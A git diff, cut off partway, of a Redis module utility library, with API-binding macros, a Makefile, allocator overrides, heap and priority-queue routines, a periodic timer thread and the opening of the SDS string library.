REDISMODULE_GET_API(ZsetAdd);
|
||||
REDISMODULE_GET_API(ZsetIncrby);
|
||||
REDISMODULE_GET_API(ZsetScore);
|
||||
REDISMODULE_GET_API(ZsetRem);
|
||||
REDISMODULE_GET_API(ZsetRangeStop);
|
||||
REDISMODULE_GET_API(ZsetFirstInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetLastInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetFirstInLexRange);
|
||||
REDISMODULE_GET_API(ZsetLastInLexRange);
|
||||
REDISMODULE_GET_API(ZsetRangeCurrentElement);
|
||||
REDISMODULE_GET_API(ZsetRangeNext);
|
||||
REDISMODULE_GET_API(ZsetRangePrev);
|
||||
REDISMODULE_GET_API(ZsetRangeEndReached);
|
||||
REDISMODULE_GET_API(HashSet);
|
||||
REDISMODULE_GET_API(HashGet);
|
||||
REDISMODULE_GET_API(IsKeysPositionRequest);
|
||||
REDISMODULE_GET_API(KeyAtPos);
|
||||
REDISMODULE_GET_API(GetClientId);
|
||||
REDISMODULE_GET_API(GetContextFlags);
|
||||
REDISMODULE_GET_API(PoolAlloc);
|
||||
REDISMODULE_GET_API(CreateDataType);
|
||||
REDISMODULE_GET_API(ModuleTypeSetValue);
|
||||
REDISMODULE_GET_API(ModuleTypeGetType);
|
||||
REDISMODULE_GET_API(ModuleTypeGetValue);
|
||||
REDISMODULE_GET_API(SaveUnsigned);
|
||||
REDISMODULE_GET_API(LoadUnsigned);
|
||||
REDISMODULE_GET_API(SaveSigned);
|
||||
REDISMODULE_GET_API(LoadSigned);
|
||||
REDISMODULE_GET_API(SaveString);
|
||||
REDISMODULE_GET_API(SaveStringBuffer);
|
||||
REDISMODULE_GET_API(LoadString);
|
||||
REDISMODULE_GET_API(LoadStringBuffer);
|
||||
REDISMODULE_GET_API(SaveDouble);
|
||||
REDISMODULE_GET_API(LoadDouble);
|
||||
REDISMODULE_GET_API(SaveFloat);
|
||||
REDISMODULE_GET_API(LoadFloat);
|
||||
REDISMODULE_GET_API(EmitAOF);
|
||||
REDISMODULE_GET_API(Log);
|
||||
REDISMODULE_GET_API(LogIOError);
|
||||
REDISMODULE_GET_API(StringAppendBuffer);
|
||||
REDISMODULE_GET_API(RetainString);
|
||||
REDISMODULE_GET_API(StringCompare);
|
||||
REDISMODULE_GET_API(GetContextFromIO);
|
||||
REDISMODULE_GET_API(Milliseconds);
|
||||
REDISMODULE_GET_API(DigestAddStringBuffer);
|
||||
REDISMODULE_GET_API(DigestAddLongLong);
|
||||
REDISMODULE_GET_API(DigestEndSequence);
|
||||
REDISMODULE_GET_API(CreateDict);
|
||||
REDISMODULE_GET_API(FreeDict);
|
||||
REDISMODULE_GET_API(DictSize);
|
||||
REDISMODULE_GET_API(DictSetC);
|
||||
REDISMODULE_GET_API(DictReplaceC);
|
||||
REDISMODULE_GET_API(DictSet);
|
||||
REDISMODULE_GET_API(DictReplace);
|
||||
REDISMODULE_GET_API(DictGetC);
|
||||
REDISMODULE_GET_API(DictGet);
|
||||
REDISMODULE_GET_API(DictDelC);
|
||||
REDISMODULE_GET_API(DictDel);
|
||||
REDISMODULE_GET_API(DictIteratorStartC);
|
||||
REDISMODULE_GET_API(DictIteratorStart);
|
||||
REDISMODULE_GET_API(DictIteratorStop);
|
||||
REDISMODULE_GET_API(DictIteratorReseekC);
|
||||
REDISMODULE_GET_API(DictIteratorReseek);
|
||||
REDISMODULE_GET_API(DictNextC);
|
||||
REDISMODULE_GET_API(DictPrevC);
|
||||
REDISMODULE_GET_API(DictNext);
|
||||
REDISMODULE_GET_API(DictPrev);
|
||||
REDISMODULE_GET_API(DictCompare);
|
||||
REDISMODULE_GET_API(DictCompareC);
|
||||
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
REDISMODULE_GET_API(GetThreadSafeContext);
|
||||
REDISMODULE_GET_API(FreeThreadSafeContext);
|
||||
REDISMODULE_GET_API(ThreadSafeContextLock);
|
||||
REDISMODULE_GET_API(ThreadSafeContextUnlock);
|
||||
REDISMODULE_GET_API(BlockClient);
|
||||
REDISMODULE_GET_API(UnblockClient);
|
||||
REDISMODULE_GET_API(IsBlockedReplyRequest);
|
||||
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
|
||||
REDISMODULE_GET_API(GetBlockedClientPrivateData);
|
||||
REDISMODULE_GET_API(GetBlockedClientHandle);
|
||||
REDISMODULE_GET_API(AbortBlock);
|
||||
REDISMODULE_GET_API(SetDisconnectCallback);
|
||||
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
|
||||
REDISMODULE_GET_API(BlockedClientDisconnected);
|
||||
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
|
||||
REDISMODULE_GET_API(SendClusterMessage);
|
||||
REDISMODULE_GET_API(GetClusterNodeInfo);
|
||||
REDISMODULE_GET_API(GetClusterNodesList);
|
||||
REDISMODULE_GET_API(FreeClusterNodesList);
|
||||
REDISMODULE_GET_API(CreateTimer);
|
||||
REDISMODULE_GET_API(StopTimer);
|
||||
REDISMODULE_GET_API(GetTimerInfo);
|
||||
REDISMODULE_GET_API(GetMyClusterID);
|
||||
REDISMODULE_GET_API(GetClusterSize);
|
||||
REDISMODULE_GET_API(GetRandomBytes);
|
||||
REDISMODULE_GET_API(GetRandomHexChars);
|
||||
REDISMODULE_GET_API(SetClusterFlags);
|
||||
#endif
|
||||
|
||||
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
|
||||
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/* Things only defined for the modules core, not exported to modules
|
||||
* including this file. */
|
||||
#define RedisModuleString robj
|
||||
|
||||
#endif /* REDISMODULE_CORE */
|
||||
#endif /* REDISMOUDLE_H */
|
||||
@@ -0,0 +1,31 @@
|
||||
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=../
|
||||
endif
|
||||
|
||||
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
|
||||
CFLAGS += -I$(RM_INCLUDE_DIR)
|
||||
CC=gcc
|
||||
|
||||
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
|
||||
|
||||
all: librmutil.a
|
||||
|
||||
clean:
|
||||
rm -rf *.o *.a
|
||||
|
||||
librmutil.a: $(OBJS)
|
||||
ar rcs $@ $^
|
||||
|
||||
test_vector: test_vector.o vector.o
|
||||
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
|
||||
@(sh -c ./$@)
|
||||
.PHONY: test_vector
|
||||
|
||||
test_periodic: test_periodic.o periodic.o
|
||||
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
|
||||
@(sh -c ./$@)
|
||||
.PHONY: test_periodic
|
||||
|
||||
test: test_periodic test_vector
|
||||
.PHONY: test
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include "alloc.h"
|
||||
|
||||
/* A patched implementation of strdup that will use our patched calloc */
|
||||
char *rmalloc_strndup(const char *s, size_t n) {
|
||||
char *ret = calloc(n + 1, sizeof(char));
|
||||
if (ret)
|
||||
memcpy(ret, s, n);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
* Re-patching RedisModule_Alloc and friends to the original malloc functions
|
||||
*
|
||||
* This function should be called if you are working with malloc-patched code
|
||||
* outside of redis, usually for unit tests. Call it once when entering your unit
|
||||
* tests' main().
|
||||
*
|
||||
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
|
||||
* replaces all malloc functions in redis with the RM_Alloc family of functions,
|
||||
* when running that code outside of redis, your app will crash. This function
|
||||
* patches the RM_Alloc functions back to the original mallocs. */
|
||||
void RMUTil_InitAlloc() {
|
||||
|
||||
RedisModule_Alloc = malloc;
|
||||
RedisModule_Realloc = realloc;
|
||||
RedisModule_Calloc = calloc;
|
||||
RedisModule_Free = free;
|
||||
RedisModule_Strdup = strdup;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
#ifndef __RMUTIL_ALLOC__
|
||||
#define __RMUTIL_ALLOC__
|
||||
|
||||
/* Automatic Redis Module Allocation functions monkey-patching.
|
||||
*
|
||||
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
|
||||
* override malloc, calloc, realloc & free with RedisModule_Alloc,
|
||||
* RedisModule_Callc, etc implementations, that allow Redis better control and
|
||||
* reporting over allocations per module.
|
||||
*
|
||||
* You should include this file in all c files AS THE LAST INCLUDED FILE
|
||||
*
|
||||
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
|
||||
* defined. The idea is that for unit tests it will not be defined, but for the
|
||||
* module build target it will be.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <redismodule.h>
|
||||
|
||||
char *rmalloc_strndup(const char *s, size_t n);
|
||||
|
||||
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
|
||||
|
||||
#define malloc(size) RedisModule_Alloc(size)
|
||||
#define calloc(count, size) RedisModule_Calloc(count, size)
|
||||
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
|
||||
#define free(ptr) RedisModule_Free(ptr)
|
||||
|
||||
#ifdef strdup
|
||||
#undef strdup
|
||||
#endif
|
||||
#define strdup(ptr) RedisModule_Strdup(ptr)
|
||||
|
||||
/* More overriding */
|
||||
// needed to avoid calling strndup->malloc
|
||||
#ifdef strndup
|
||||
#undef strndup
|
||||
#endif
|
||||
#define strndup(s, n) rmalloc_strndup(s, n)
|
||||
|
||||
#else
|
||||
|
||||
#endif /* REDIS_MODULE_TARGET */
|
||||
/* This function should be called if you are working with malloc-patched code
|
||||
* outside of redis, usually for unit tests. Call it once when entering your unit
|
||||
* tests' main() */
|
||||
void RMUTil_InitAlloc();
|
||||
|
||||
#endif /* __RMUTIL_ALLOC__ */
|
||||
@@ -0,0 +1,107 @@
|
||||
#include "heap.h"
|
||||
|
||||
/* Byte-wise swap two items of size SIZE. */
|
||||
#define SWAP(a, b, size) \
|
||||
do \
|
||||
{ \
|
||||
register size_t __size = (size); \
|
||||
register char *__a = (a), *__b = (b); \
|
||||
do \
|
||||
{ \
|
||||
char __tmp = *__a; \
|
||||
*__a++ = *__b; \
|
||||
*__b++ = __tmp; \
|
||||
} while (--__size > 0); \
|
||||
} while (0)
|
||||
|
||||
inline char *__vector_GetPtr(Vector *v, size_t pos) {
|
||||
return v->data + (pos * v->elemSize);
|
||||
}
|
||||
|
||||
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
size_t len = last - first;
|
||||
if (len > 1) {
|
||||
len = (len - 2) / 2;
|
||||
size_t ptr = first + len;
|
||||
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
|
||||
char t[v->elemSize];
|
||||
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
|
||||
do {
|
||||
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
|
||||
last = ptr;
|
||||
if (len == 0)
|
||||
break;
|
||||
len = (len - 1) / 2;
|
||||
ptr = first + len;
|
||||
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
|
||||
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
|
||||
// left-child of __start is at 2 * __start + 1
|
||||
// right-child of __start is at 2 * __start + 2
|
||||
size_t len = last - first;
|
||||
size_t child = start - first;
|
||||
|
||||
if (len < 2 || (len - 2) / 2 < child)
|
||||
return;
|
||||
|
||||
child = 2 * child + 1;
|
||||
|
||||
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
|
||||
// right-child exists and is greater than left-child
|
||||
++child;
|
||||
}
|
||||
|
||||
// check if we are in heap-order
|
||||
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
|
||||
// we are, __start is larger than it's largest child
|
||||
return;
|
||||
|
||||
char top[v->elemSize];
|
||||
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
|
||||
do {
|
||||
// we are not in heap-order, swap the parent with it's largest child
|
||||
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
|
||||
start = first + child;
|
||||
|
||||
if ((len - 2) / 2 < child)
|
||||
break;
|
||||
|
||||
// recompute the child based off of the updated parent
|
||||
child = 2 * child + 1;
|
||||
|
||||
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
|
||||
// right-child exists and is greater than left-child
|
||||
++child;
|
||||
}
|
||||
|
||||
// check if we are in heap-order
|
||||
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
|
||||
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
|
||||
}
|
||||
|
||||
|
||||
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
if (last - first > 1) {
|
||||
// start from the first parent, there is no need to consider children
|
||||
for (int start = (last - first - 2) / 2; start >= 0; --start) {
|
||||
__sift_down(v, first, last, cmp, first + start);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
__sift_up(v, first, last, cmp);
|
||||
}
|
||||
|
||||
|
||||
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
if (last - first > 1) {
|
||||
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
|
||||
__sift_down(v, first, last, cmp, first);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#ifndef __HEAP_H__
|
||||
#define __HEAP_H__
|
||||
|
||||
#include "vector.h"
|
||||
|
||||
|
||||
/* Make heap from range
|
||||
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
|
||||
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
|
||||
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
|
||||
* push_heap).
|
||||
* The element with the highest value is always pointed by first. The order of the other elements depends on the
|
||||
* particular implementation, but it is consistent throughout all heap-related functions of this header.
|
||||
* The elements are compared using cmp.
|
||||
*/
|
||||
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
|
||||
/* Push element into heap range
|
||||
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
|
||||
* placing the value in (last-1) into its corresponding location within it.
|
||||
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
|
||||
* are added and removed from it using push_heap and pop_heap, respectively.
|
||||
*/
|
||||
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
|
||||
/* Pop element from heap range
|
||||
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
|
||||
* by one: The element with the highest value is moved to (last-1).
|
||||
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
|
||||
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
|
||||
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
|
||||
* are added and removed from it using push_heap and pop_heap, respectively.
|
||||
*/
|
||||
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
#endif //__HEAP_H__
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef __RMUTIL_LOGGING_H__
|
||||
#define __RMUTIL_LOGGING_H__
|
||||
|
||||
/* Convenience macros for redis logging */
|
||||
|
||||
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
|
||||
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
|
||||
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
|
||||
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,88 @@
|
||||
#define REDISMODULE_EXPERIMENTAL_API
|
||||
#include "periodic.h"
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
|
||||
typedef struct RMUtilTimer {
|
||||
RMutilTimerFunc cb;
|
||||
RMUtilTimerTerminationFunc onTerm;
|
||||
void *privdata;
|
||||
struct timespec interval;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
} RMUtilTimer;
|
||||
|
||||
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
|
||||
struct timespec ret;
|
||||
ret.tv_sec = a->tv_sec + b->tv_sec;
|
||||
|
||||
long long ns = a->tv_nsec + b->tv_nsec;
|
||||
ret.tv_sec += ns / 1000000000;
|
||||
ret.tv_nsec = ns % 1000000000;
|
||||
return ret;
|
||||
}
|
||||
|
||||
static void *rmutilTimer_Loop(void *ctx) {
|
||||
RMUtilTimer *tm = ctx;
|
||||
|
||||
int rc = ETIMEDOUT;
|
||||
struct timespec ts;
|
||||
|
||||
pthread_mutex_lock(&tm->lock);
|
||||
while (rc != 0) {
|
||||
clock_gettime(CLOCK_REALTIME, &ts);
|
||||
struct timespec timeout = timespecAdd(&ts, &tm->interval);
|
||||
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
|
||||
|
||||
// Create a thread safe context if we're running inside redis
|
||||
RedisModuleCtx *rctx = NULL;
|
||||
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
|
||||
|
||||
// call our callback...
|
||||
tm->cb(rctx, tm->privdata);
|
||||
|
||||
// If needed - free the thread safe context.
|
||||
// It's up to the user to decide whether automemory is active there
|
||||
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
|
||||
}
|
||||
if (rc == EINVAL) {
|
||||
perror("Error waiting for condition");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// call the termination callback if needed
|
||||
if (tm->onTerm != NULL) {
|
||||
tm->onTerm(tm->privdata);
|
||||
}
|
||||
|
||||
// free resources associated with the timer
|
||||
pthread_cond_destroy(&tm->cond);
|
||||
free(tm);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
|
||||
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
|
||||
t->interval = newInterval;
|
||||
}
|
||||
|
||||
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
|
||||
void *privdata, struct timespec interval) {
|
||||
RMUtilTimer *ret = malloc(sizeof(*ret));
|
||||
*ret = (RMUtilTimer){
|
||||
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
|
||||
};
|
||||
pthread_cond_init(&ret->cond, NULL);
|
||||
pthread_mutex_init(&ret->lock, NULL);
|
||||
|
||||
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
|
||||
return pthread_cond_signal(&t->cond);
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
#ifndef RMUTIL_PERIODIC_H_
|
||||
#define RMUTIL_PERIODIC_H_
|
||||
#include <time.h>
|
||||
#include <redismodule.h>
|
||||
|
||||
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
|
||||
|
||||
/* RMUtilTimer - opaque context for the timer */
|
||||
struct RMUtilTimer;
|
||||
|
||||
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
|
||||
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
|
||||
* pre-existing private data */
|
||||
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
|
||||
|
||||
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
|
||||
|
||||
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
|
||||
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
|
||||
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
|
||||
void *privdata, struct timespec interval);
|
||||
|
||||
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
|
||||
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
|
||||
|
||||
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
|
||||
* and free the timer after stopping.
|
||||
*
|
||||
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
|
||||
* timer's callback is waiting for the redis global lock.
|
||||
* Instead you should make sure any resources are freed by the callback after the thread loop is
|
||||
* finished.
|
||||
*
|
||||
* The timer is freed automatically, so the callback doesn't need to do anything about it.
|
||||
* The callback gets the timer's associated privdata as its argument.
|
||||
*
|
||||
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
|
||||
* callback, as it may log stuff or free global resources.
|
||||
*/
|
||||
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
|
||||
|
||||
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
|
||||
Free the timer context. The caller should be responsible for freeing the private data at this
|
||||
* point */
|
||||
// void RMUtilTimer_Free(struct RMUtilTimer *t);
|
||||
#endif
|
||||
@@ -0,0 +1,36 @@
|
||||
#include "priority_queue.h"
|
||||
#include "heap.h"
|
||||
|
||||
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
|
||||
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
|
||||
pq->v = __newVectorSize(elemSize, cap);
|
||||
pq->cmp = cmp;
|
||||
return pq;
|
||||
}
|
||||
|
||||
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
|
||||
return Vector_Size(pq->v);
|
||||
}
|
||||
|
||||
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
|
||||
return Vector_Get(pq->v, 0, ptr);
|
||||
}
|
||||
|
||||
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
|
||||
size_t top = __vector_PushPtr(pq->v, elem);
|
||||
Heap_Push(pq->v, 0, top, pq->cmp);
|
||||
return top;
|
||||
}
|
||||
|
||||
inline void Priority_Queue_Pop(PriorityQueue *pq) {
|
||||
if (pq->v->top == 0) {
|
||||
return;
|
||||
}
|
||||
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
|
||||
pq->v->top--;
|
||||
}
|
||||
|
||||
void Priority_Queue_Free(PriorityQueue *pq) {
|
||||
Vector_Free(pq->v);
|
||||
free(pq);
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
#ifndef __PRIORITY_QUEUE_H__
|
||||
#define __PRIORITY_QUEUE_H__
|
||||
|
||||
#include "vector.h"
|
||||
|
||||
/* Priority queue
|
||||
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
|
||||
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
|
||||
* retrieved (the one at the top in the priority queue).
|
||||
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
|
||||
* of the priority queue.
|
||||
*/
|
||||
typedef struct {
|
||||
Vector *v;
|
||||
|
||||
int (*cmp)(void *, void *);
|
||||
} PriorityQueue;
|
||||
|
||||
/* Construct priority queue
|
||||
* Constructs a priority_queue container adaptor object.
|
||||
*/
|
||||
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
|
||||
|
||||
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
|
||||
|
||||
/* Return size
|
||||
* Returns the number of elements in the priority_queue.
|
||||
*/
|
||||
size_t Priority_Queue_Size(PriorityQueue *pq);
|
||||
|
||||
/* Access top element
|
||||
* Copy the top element in the priority_queue to ptr.
|
||||
* The top element is the element that compares higher in the priority_queue.
|
||||
*/
|
||||
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
|
||||
|
||||
/* Insert element
|
||||
* Inserts a new element in the priority_queue.
|
||||
*/
|
||||
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
|
||||
|
||||
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
|
||||
|
||||
/* Remove top element
|
||||
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
|
||||
* one with the highest value.
|
||||
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
|
||||
*/
|
||||
void Priority_Queue_Pop(PriorityQueue *pq);
|
||||
|
||||
/* free the priority queue and the underlying data. Does not release its elements if
|
||||
* they are pointers */
|
||||
void Priority_Queue_Free(PriorityQueue *pq);
|
||||
|
||||
#endif //__PRIORITY_QUEUE_H__
|
||||
@@ -0,0 +1,1274 @@
|
||||
/* SDSLib 2.0 -- A C dynamic strings library
|
||||
*
|
||||
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
|
||||
* Copyright (c) 2015, Oran Agra
|
||||
* Copyright (c) 2015, Redis Labs, Inc
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of Redis nor the names of its contributors may be used
|
||||
* to endorse or promote products derived from this software without
|
||||
* specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
#include <assert.h>
|
||||
#include "sds.h"
|
||||
#include "sdsalloc.h"
|
||||
|
||||
static inline int sdsHdrSize(char type) {
|
||||
switch(type&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return sizeof(struct sdshdr5);
|
||||
case SDS_TYPE_8:
|
||||
return sizeof(struct sdshdr8);
|
||||
case SDS_TYPE_16:
|
||||
return sizeof(struct sdshdr16);
|
||||
case SDS_TYPE_32:
|
||||
return sizeof(struct sdshdr32);
|
||||
case SDS_TYPE_64:
|
||||
return sizeof(struct sdshdr64);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline char sdsReqType(size_t string_size) {
|
||||
if (string_size < 32)
|
||||
return SDS_TYPE_5;
|
||||
if (string_size < 0xff)
|
||||
return SDS_TYPE_8;
|
||||
if (string_size < 0xffff)
|
||||
return SDS_TYPE_16;
|
||||
if (string_size < 0xffffffff)
|
||||
return SDS_TYPE_32;
|
||||
return SDS_TYPE_64;
|
||||
}
|
||||
|
||||
/* Create a new sds string with the content specified by the 'init' pointer
|
||||
* and 'initlen'.
|
||||
* If NULL is used for 'init' the string is initialized with zero bytes.
|
||||
*
|
||||
* The string is always null-termined (all the sds strings are, always) so
|
||||
* even if you create an sds string with:
|
||||
*
|
||||
* mystring = sdsnewlen("abc",3);
|
||||
*
|
||||
* You can print the string with printf() as there is an implicit \0 at the
|
||||
* end of the string. However the string is binary safe and can contain
|
||||
* \0 characters in the middle, as the length is stored in the sds header. */
|
||||
sds sdsnewlen(const void *init, size_t initlen) {
|
||||
void *sh;
|
||||
sds s;
|
||||
char type = sdsReqType(initlen);
|
||||
/* Empty strings are usually created in order to append. Use type 8
|
||||
* since type 5 is not good at this. */
|
||||
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
|
||||
int hdrlen = sdsHdrSize(type);
|
||||
unsigned char *fp; /* flags pointer. */
|
||||
|
||||
sh = s_malloc(hdrlen+initlen+1);
|
||||
if (!init)
|
||||
memset(sh, 0, hdrlen+initlen+1);
|
||||
if (sh == NULL) return NULL;
|
||||
s = (char*)sh+hdrlen;
|
||||
fp = ((unsigned char*)s)-1;
|
||||
switch(type) {
|
||||
case SDS_TYPE_5: {
|
||||
*fp = type | (initlen << SDS_TYPE_BITS);
